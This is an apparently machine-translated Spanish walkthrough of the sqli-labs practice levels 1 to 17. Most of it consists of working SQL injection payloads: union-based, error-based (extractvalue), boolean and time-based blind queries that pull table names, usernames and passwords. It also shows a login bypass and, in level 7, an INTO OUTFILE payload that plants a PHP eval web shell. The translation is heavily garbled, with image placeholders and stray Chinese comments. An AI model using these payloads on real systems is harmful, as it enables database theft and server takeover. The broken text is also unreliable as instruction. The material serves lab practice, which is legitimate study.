análisis de inyección sql-lab

inyección sql-lab

OBTENER inyección

Less-1 GET-Basado en errores-Comillas simples-Cadena (inyección de caracteres de comillas simples GET basado en errores)

Provoca un error: las comillas simples inyectadas no se filtran

  1. El elemento de la lista
    se determina si un punto de inyección
    para ingresar y 1 = 1 y 1 = 2 determina si una inyección de números enteros genera (porque y 1 = 1 y 1 = 2 y el eco del mismo) de
    modo que el entero negativo implantado
    con ' Realice una inyección de juicio.
    Utilice el tipo de error devuelto para determinar qué tipo de inyección de carácter
    Inserte la descripción de la imagen aquí
    es. Aquí, también puede utilizar el número de comillas para confirmar si es un carácter o un tipo numérico
    (debido al error y la pantalla de error está cerrada, puede ser un tipo de carácter y Debido a `` 1 '', se confirma que es una inyección de un solo carácter).
    Juzgando la clase de carácter.
    Observe el comentario representado por - +
    (tres tipos típicos de comentarios - - + #). Probé los otros dos y encontré un error (es decir (Está relacionado con el código de fondo) El Inserte la descripción de la imagen aquí
    Inserte la descripción de la imagen aquí
    siguiente paso es el método de inyección convencional para
    romper la base de datos actual
 ' union select 1,2,database()  --+

Inserte la descripción de la imagen aquí
Mesa de ráfagas

' union select 1,2,table_name from information_schema.TABLES where table_schema='security'  --+

Inserte la descripción de la imagen aquí

 ' union select 1,2,group_concat(column_name) from information_schema.COLUMNS//注即group_concat()即返回的是拼接了的参数状况特点

Inserte la descripción de la imagen aquí
Bueno, el primer nivel se jugará aquí, y el resto se dejará para que todos jueguen.

Less-2 GET-basado en errores-basado en Intiger (inyección de enteros GET basada en errores)

Primero determine si es del tipo de carácter o tipo entero
o el mismo que el del primer nivel, agregue ', y encuentre que el eco es ``
Inserte la descripción de la imagen aquí
Si usa y 1 = 2 para construir una página con eco, puede inyectarlo (el resto de la inyección es igual que la primera pregunta Lo mismo, no lo demostraré aquí)
Inserte la descripción de la imagen aquí

Menos-3 GET-Basado en errores-Comillas simples con cadena de giro (Inyección de comillas simples GET con cadena de giro basada en errores)

Las reglas antiguas primero juzgan si es una inyección de números enteros, y encuentran que y 1 = 1 y 1 = 2 devuelven el mismo resultado

Entonces
aparece ' inyección comienza a encontrar esta página, y se
Inserte la descripción de la imagen aquí
analiza que el método de cierre es el modo') ',
por lo que es necesario construirlo para que coincida y solo se desborde uno'
así que aquí se inyecta para
hacer) ') par, desbordamiento'
Inserte la descripción de la imagen aquí
y luego el modo de inyección restante Igual que la primera pregunta

Less-4 GET-Basado en errores-Comillas dobles-Cadena (inyección de variación de caracteres de comillas dobles GET basada en errores)

Las reglas antiguas
primero determinan si la inyección es un número entero
y luego determina si la implantación de caracteres de comillas simples
no encontró diferencias (excluyendo así la inyección de comillas simples)
Inserte la descripción de la imagen aquí
y la inyección de comillas dobles consideradas
"
encontradas es lo mismo que la variación del título, por lo que el desbordamiento se configura como una
Inserte la descripción de la imagen aquí
izquierda El siguiente método es el mismo que el modo de primera pregunta

Less-5 GET-Double Injection-Single Quotes-String (Inyección doble GET, inyección de caracteres de comillas simples)

La regla anterior es determinar primero de qué tipo es.
Después del juicio, se encuentra que es una inyección de caracteres de comillas simples
pero no tiene una posición explícita.
Como se muestra en la figura,
Inserte la descripción de la imagen aquí
cuando se determina este tipo de inyección, hay un punto de inyección, pero no se reporta ningún error.
Luego, generalmente se consideran tres casos de
inyección de error . , Inyección ciega booleana, inyección de retardo de tiempo (es decir, una forma de mostrarle que la entrada es correcta mostrándole el retardo)

①Método 1 (usando inyección de error e inyección de retardo de tiempo)

Para este tipo de condiciones típicas de construcción de declaraciones if, sleep () se repetirá para determinar si se cumplen las condiciones.

Carga útil explosiva del líder de la biblioteca

?id=1' and if(length(database())=8,sleep(5),1)--+

Nombre de la biblioteca de tormenta

?id=1' and if(left(database(),1)='s',sleep(5),1)--+//即截取database的字符数进行对比判断是否是进而进行延迟注入状况特点

Nombre de ráfaga

?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+

Listado explosivo

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+

Valor de estallido

?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

② Inyección booleana (característica: se repetirá lo correcto, no se repetirá el error)
más 1 para juzgar

' and left((select database()),1)>'t' --+//即利用二分法判断值是否对,代确定数据库表与列名类

Inserte la descripción de la imagen aquí
Como biblioteca de
Inserte la descripción de la imagen aquí
ráfagas, nombre de tabla de ráfagas

?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+

Modifique el límite x, 1 y a la izquierda para limitar el número de dígitos, explote a la primera tabla como referente y, finalmente, explote a la tabla de usuarios en la tercera tabla, usuarios nombrados

Listado explosivo

?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+

Último nombre de usuario de blast

?id=1' and left((select username from users order by id limit 0,1),1)='d' --+

Finalmente, para este tipo de inyecciones, personalmente recomiendo que sqlmap se haga directamente

Less-6 GET-Double Injection-Double Quotes-String (Inyección doble GET inyección de caracteres de comillas dobles)

La única diferencia con la pregunta anterior es el tipo de doble carácter, simplemente cambie las comillas simples por comillas dobles
Inserte la descripción de la imagen aquí

Less-7 GET-Dump en outfile-String (archivo de exportación GET inyección de caracteres)

Después de excluir la inyección de enteros, use 'para inyectar y
encuentre que hay un error, pero es imposible determinar de qué tipo es,
así que considere probar varios métodos clásicos
')
'))
"
")
"))
Inserte la descripción de la imagen aquí
Finalmente, se considera que es'))
Inserte la descripción de la imagen aquí
Como desea escribir el archivo aquí, necesita obtener la ruta.
En este nivel , he pensado en muchas formas de obtener la ruta, así que volví al segundo nivel para obtener la ruta.
Obtenga la ruta de la siguiente manera:
Inserte la descripción de la imagen aquí
comando de escritura

ID:1 ')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\Less-7\\tt.php"--+

Simplemente use Ant Sword o Chopper para conectarse a la base de datos después de escribir.

Less-8 GET-Blind-Boolian Based-Single Quotes (Boolean GET blind note)

La vieja regla es qué es la inyección,
pero encontré que 'es así (para comillas simples, otros tipos de página son iguales que y 1 = 2, y se puede considerar que es' inyección de caracteres)
Inserte la descripción de la imagen aquí
debido a la interfaz repetida, por lo que es Considere la inyección de retardo booleana.
De acuerdo con las características de las tres inyecciones,
puede juzgar aún más la estructura de la oración para
encontrar que la estructura y1 = 1 se repite y 1 = 2 no se repite
(por lo que se determina que es una inyección booleana)
Inserte la descripción de la imagen aquí

Luego, el siguiente paso es explotar campos, explotar nombres de bases de datos,
explotar métodos de bases de datos

?id=1' and left((select database()),1)='s' --+//注意对于布尔注入,因为是利用反馈进行代判断的,所以在布尔注入中用的是and,而不是union

Inserte la descripción de la imagen aquí
Otros son los mismos que en la pregunta 5

Menos-9 GET-Basado en tiempo ciego.-Cotizaciones individuales (Comillas simples ciegas GET basadas en tiempo)

A diferencia de las inyecciones anteriores, este tipo de inyección es la
vieja regla para excluir las inyecciones de números enteros y
luego probar las inyecciones de caracteres
. Entonces me sorprendió encontrar que no hay eco.
Inserte la descripción de la imagen aquí
¿No hay un punto de inyección?
No, no,
pensé en estas inyecciones especiales, hay un tiempo ciego y este tipo de eco es el mismo,
así que consideré si probar si era un ciego temporal, y
Inserte la descripción de la imagen aquí
encontré un retraso serio,
así que volví feliz. En las ciegas de tiempo, el método es el mismo que el de la quinta pregunta.

Menos-10 comillas dobles basadas en GET-Blind-Time (nota ciega de comillas dobles basadas en el tiempo)

Esta vez esta es la inyección de retardo de tiempo de ``, al igual que la pregunta anterior, simplemente cambie el 'a'.

POST inyección

Less-11 POST-Basado en errores-Comillas simples- Cadena (Inyección de caracteres de comillas simples basada en POST basada en errores)

Debido a que es posterior a la inyección, elegí usar burp directamente para cambiar el paquete (estoy acostumbrado)
y luego encontré un problema, que se resolvió después de la investigación.
Es decir, Firefox no puede atrapar el paquete de localhost.
Finalmente, me di cuenta de que cambié localhost a mi propia IP.
Inserte la descripción de la imagen aquí
Entonces, la vieja regla
está aquí para decir que para las publicaciones, especialmente este tipo de cuadro de entrada, este tipo de inyección es
generalmente raro.
Si realiza la prueba, encontrará que el resultado es así.
Inserte la descripción de la imagen aquí
Por lo tanto, después de probar aquí, use'found es único Tipo de carácter de cotización
Inserte la descripción de la imagen aquí
Método uno: (inyección de error)
Luego, aquí hay una función típica para la inyección de error,
extractvalue (): una función para consultar documentos XML.
Sintaxis: extractvalue (documento xml de destino, ruta xml)
por ejemplo

 (extractvalue(‘anything’,/x/xx’))

Entonces déjame hablar de ello aquí. Para el buzón, cuando hay un punto de inyección,
puedes probar la inyección de tipo de almacenamiento.
Usa la siguiente oración para juzgar

uname=admin' and 1=1 --+ &passwd=admin&submit=Submit //能登陆
uname=admin' and 1=2 --+ &passwd=admin&submit=Submit //不能登陆

Inserte la descripción de la imagen aquí

Es decir, puede considerar usar el método de inyección de error de almacenamiento para
romper la base de datos

uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit

Mesa de ráfagas

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit

Lo siguiente es igual que el anterior.
De hecho, la inyección también se puede utilizar de esta manera.
Método 2: (inyección conjunta)

0'union select 1,database()  --+//如代码和基本的注入一样,一定也要给的是错误的页面,然后使其具有反馈,因此这类unmae=0,当然改passwd也行

Inserte la descripción de la imagen aquí
No hablaré sobre cómo inyectar este tipo de cosas a continuación
. Todos los que vean esto deberían saber

Menos-12 POST-Basado en error-Comillas dobles- Cadena-con giro (Inyección de deformación de caracteres tipo POST basada en error basado en comillas dobles)

La
regla anterior es excluir primero el tipo entero y luego "No encontré respuesta.
No, no, no volverá a ser booleano ni demorado.
Luego intenté excluir los tipos booleano y demorado.
Inserte la descripción de la imagen aquí
Luego solo puedo considerar el tipo de error
y cambiarlo. Es una oración común (para decir una oración aquí, de hecho, si no hay respuesta, primero hay que juzgar si es un tipo de error de almacenamiento y luego considerar booleano y retraso)
y luego "descubrir
Inserte la descripción de la imagen aquí
y confirmar que sí", pero de acuerdo con los comentarios Se encuentra que el error es del
tipo ") (es decir, la declaración cerrada original se desborda)
y luego se usa el método de consulta conjunta para dejar

Permítanme hacer algo divertido para todos. Descubrí
a través de la observación aquí que puede
construir una contraseña universal de acuerdo con la oración devuelta por el error,
pero la cuenta local debe ser correcta. Por
ejemplo, el administrador de la cuenta actual
puede ser admin ") # (Para las clases de inicio de sesión, generalmente use #this Comentario)
Inicio de sesión exitoso con contraseña universal
Inserte la descripción de la imagen aquí

Menos-13 POST-Doble inyección-Comillas simples- Cadena -twist (POST comillas simples deformación doble inyección)

Inicie sesión en
admin / admin para obtener esta interfaz
Inserte la descripción de la imagen aquí

Después de juzgar las reglas antiguas, se
Inserte la descripción de la imagen aquí
obtiene como ')
Método de inyección 1:
debido a que hay un informe de error,
puede considerar usar el estado de error para inyectar.
Por lo tanto, puede combinar la oración como la pregunta anterior para obtener el
Método 2:
También se puede resolver mediante inyección ciega de tiempo directo

uname=admin') and if(left(database(),1)='s',sleep(3),1) --+&passwd=admin&submit=Submit

Menos-14 POST-Doble Inyección-Comillas simples- Cadena -twist (POST comillas simples deformación doble inyección)

Después de excluir la inyección de números enteros, la
usé para inyectar y descubrí que no había una rotonda,
así que usé "Encontré que
se informó un error".
Inserte la descripción de la imagen aquí

Luego, el comentario - + encontró que no hay más.
Luego considere las características de la condición de la oración que se informa que es incorrecta después de que se inyecta la contraseña (es decir, se aprende de los artículos de otras personas, por lo que, en términos relativos, es más fácil explotar las lagunas inyectadas al construir la oración en la contraseña)
Inserte la descripción de la imagen aquí
. Se pone entre comillas dobles, lo que significa que el símbolo de comentario no está disponible,
por lo que aquí tenemos que omitir el método de inyección con símbolo de comentario
(lo que significa que el método de inyección conjunta no es factible en esta pregunta).
Aquí, el método de inyección de error se usa directamente
en la declaración concat Solo constrúyelo

uname=admin" and extractvalue(1,concat(0x7e,(select database()))) and "  //语句构造方法 注入符号" and ex() and"

menos-15 POST-Blind- Boolian / time Based-Single quotes (basado en el tipo bool / time delay single quote tipo POST nota ciega)

La entrada no tiene ningún eco y también excluye todas las inyecciones de error de tipo de carácter, así que considere la inyección ciega de tiempo y el tipo booleano
Método 1: Tipo de retardo de tiempo

Código de prueba

uname=admin' and sleep(5) --+

Código de explosión de datos

uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit
 
uname=admin' and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit
 
uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+&passwd=admin&submit=Submit
 
uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
 
uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit

Método 2: booleano, sobre cómo usar esto, no hablaré de eso aquí

Less-16 POST-Blind- Boolian / Time Based-Double quotes (basado en el tipo bool / time delay doble comillas tipo POST Blind note)

Es casi lo mismo que la pregunta anterior
. Cómo determinar el tipo de "cambio a"). El método para juzgar el tipo se explica
aquí, basado en la combinación de la página de eco de 'y la página de eco de' - + para determinar el tipo Inyección
Inserte la descripción de la imagen aquí

Less-17 POST-Update Query- Error Based-String (Actualización de la inyección POST de la consulta basada en el error)

Supongo que te gusta

Origin blog.csdn.net/qq_33942040/article/details/107511676
Recomendado
Clasificación